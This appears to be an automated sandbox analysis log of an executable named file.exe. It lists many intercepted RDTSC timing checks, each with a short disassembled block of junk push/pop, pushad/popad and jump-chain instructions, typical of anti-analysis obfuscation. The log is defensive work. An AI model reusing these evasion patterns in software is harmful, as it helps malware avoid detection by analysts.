Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A7580 second address: 10A7588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ACAA9 second address: 10ACAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AC609 second address: 10AC626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD18CD363C4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AC626 second address: 10AC630 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AC630 second address: 10AC64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CD363C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C6DDA second address: 10C6DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8F89 second address: 10D8F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8F8D second address: 10D8F93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D7D92 second address: 10D7D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D7D96 second address: 10D7DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CB1866Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D7DAE second address: 10D7DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D7F31 second address: 10D7F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D7F37 second address: 10D7F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8093 second address: 10D809D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD18CB18666h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8202 second address: 10D8213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD18CD363BCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8213 second address: 10D821A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D862F second address: 10D8635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8635 second address: 10D863B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D863B second address: 10D8640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8640 second address: 10D8654 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8654 second address: 10D865E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD18CD363B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D865E second address: 10D866E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FD18CB1866Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D866E second address: 10D8684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD18CD363C0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8684 second address: 10D86A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FD18CB18683h 0x0000000c jmp 00007FD18CB18677h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D881D second address: 10D8827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD18CD363B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8931 second address: 10D8954 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnl 00007FD18CB18666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD18CB18671h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8954 second address: 10D8977 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD18CD363C5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8977 second address: 10D897B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8AE8 second address: 10D8B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CD363C4h 0x00000009 jo 00007FD18CD363B6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8B07 second address: 10D8B34 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD18CB1866Eh 0x00000008 jng 00007FD18CB18666h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ecx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD18CB18674h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8B34 second address: 10D8B54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD18CD363BAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D8B54 second address: 10D8B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DEF45 second address: 10DEF49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DEB75 second address: 10DEB79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E0A7F second address: 10E0A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E0A84 second address: 10E0A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E0A8A second address: 10E0A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57204D1 second address: 57204D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57204D7 second address: 5720501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD18CD363C7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720501 second address: 5720507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720507 second address: 572050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572050B second address: 572053C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD18CB18679h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572053C second address: 5720544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57205B8 second address: 57205FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FD18CB1866Ch 0x00000010 mov dword ptr [esp], ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FD18CB18678h 0x0000001c sub ah, 00000068h 0x0000001f jmp 00007FD18CB1866Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57205FD second address: 5720601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720601 second address: 5720610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720610 second address: 5720614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720614 second address: 572061A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572061A second address: 572063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572063D second address: 5720643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720D50 second address: 5720D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720D54 second address: 5720D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720D58 second address: 5720D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720D5E second address: 5720DC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD18CB1866Fh 0x00000009 xor cx, 8BAEh 0x0000000e jmp 00007FD18CB18679h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007FD18CB1866Ah 0x0000001f mov ebp, esp 0x00000021 jmp 00007FD18CB18670h 0x00000026 push dword ptr [ebp+04h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD18CB1866Ah 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720DC3 second address: 5720DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720DD2 second address: 5720DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57400C3 second address: 57400C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57400C7 second address: 5740132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FD18CB18677h 0x0000000c jmp 00007FD18CB18673h 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ecx 0x00000014 jmp 00007FD18CB18676h 0x00000019 xchg eax, ecx 0x0000001a pushad 0x0000001b mov eax, 43A6C51Dh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD18CB18678h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5740132 second address: 5740167 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e pushfd 0x0000000f jmp 00007FD18CD363C4h 0x00000014 sub cx, 5608h 0x00000019 jmp 00007FD18CD363BBh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5740167 second address: 574017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CB18674h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 574017F second address: 5740201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FD18CD363C7h 0x0000000e push dword ptr [ebp+08h] 0x00000011 jmp 00007FD18CD363C6h 0x00000016 lea eax, dword ptr [ebp-08h] 0x00000019 jmp 00007FD18CD363C0h 0x0000001e nop 0x0000001f pushad 0x00000020 mov eax, ebx 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007FD18CD363C6h 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD18CD363C7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 574022D second address: 5740231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5740231 second address: 5740237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57402F5 second address: 57402F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57402F9 second address: 574030D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 78745D04h 0x00000011 push ebx 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 574030D second address: 5740327 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 01FAC046h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+1Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov eax, 39B67F15h 0x00000016 movzx ecx, bx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5740327 second address: 574035F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+18h] 0x0000000e jmp 00007FD18CD363BEh 0x00000013 push dword ptr [ebp+14h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD18CD363C7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 574035F second address: 5740365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5740365 second address: 5740369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5740369 second address: 57403DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+10h] 0x0000000b pushad 0x0000000c push edi 0x0000000d pushfd 0x0000000e jmp 00007FD18CB18678h 0x00000013 sub cx, ACD8h 0x00000018 jmp 00007FD18CB1866Bh 0x0000001d popfd 0x0000001e pop ecx 0x0000001f pushfd 0x00000020 jmp 00007FD18CB18679h 0x00000025 jmp 00007FD18CB1866Bh 0x0000002a popfd 0x0000002b popad 0x0000002c push dword ptr [ebp+0Ch] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FD18CB18670h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57403DF second address: 57403EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572076D second address: 57207A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD18CB18678h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207A8 second address: 57207B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207B7 second address: 57207D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD18CB1866Fh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207D6 second address: 57207DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207DA second address: 57207E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207E0 second address: 57207E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207E6 second address: 57207EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57207EA second address: 57207EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720826 second address: 5720882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 89h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 671AF3EBh 0x00000011 pushad 0x00000012 call 00007FD18CB18675h 0x00000017 call 00007FD18CB18670h 0x0000001c pop eax 0x0000001d pop edx 0x0000001e mov ebx, esi 0x00000020 popad 0x00000021 call 00007FD1FCD1BDF6h 0x00000026 push 759227D0h 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov eax, dword ptr [esp+10h] 0x00000036 mov dword ptr [esp+10h], ebp 0x0000003a lea ebp, dword ptr [esp+10h] 0x0000003e sub esp, eax 0x00000040 push ebx 0x00000041 push esi 0x00000042 push edi 0x00000043 mov eax, dword ptr [759B0140h] 0x00000048 xor dword ptr [ebp-04h], eax 0x0000004b xor eax, ebp 0x0000004d push eax 0x0000004e mov dword ptr [ebp-18h], esp 0x00000051 push dword ptr [ebp-08h] 0x00000054 mov eax, dword ptr [ebp-04h] 0x00000057 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005e mov dword ptr [ebp-08h], eax 0x00000061 lea eax, dword ptr [ebp-10h] 0x00000064 mov dword ptr fs:[00000000h], eax 0x0000006a ret 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FD18CB18679h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720882 second address: 57208BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD18CD363C7h 0x00000009 adc cl, 0000005Eh 0x0000000c jmp 00007FD18CD363C9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57208BC second address: 57208DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 and dword ptr [ebp-04h], 00000000h 0x0000000b pushad 0x0000000c mov esi, 7E4F2479h 0x00000011 movzx esi, dx 0x00000014 popad 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d movzx esi, dx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57208DD second address: 5720931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007FD18CD363C0h 0x00000010 mov al, byte ptr [edx] 0x00000012 jmp 00007FD18CD363C0h 0x00000017 inc edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD18CD363C7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720931 second address: 5720956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720956 second address: 572095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572095A second address: 572095E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572095E second address: 5720964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5720964 second address: 5720931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18672h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FD18CB185EBh 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007FD18CB18670h 0x00000016 inc edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD18CB18677h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 572099B second address: 57209C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007FD18CD363C0h 0x00000011 dec edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57209C9 second address: 57209CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57209CF second address: 57209D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
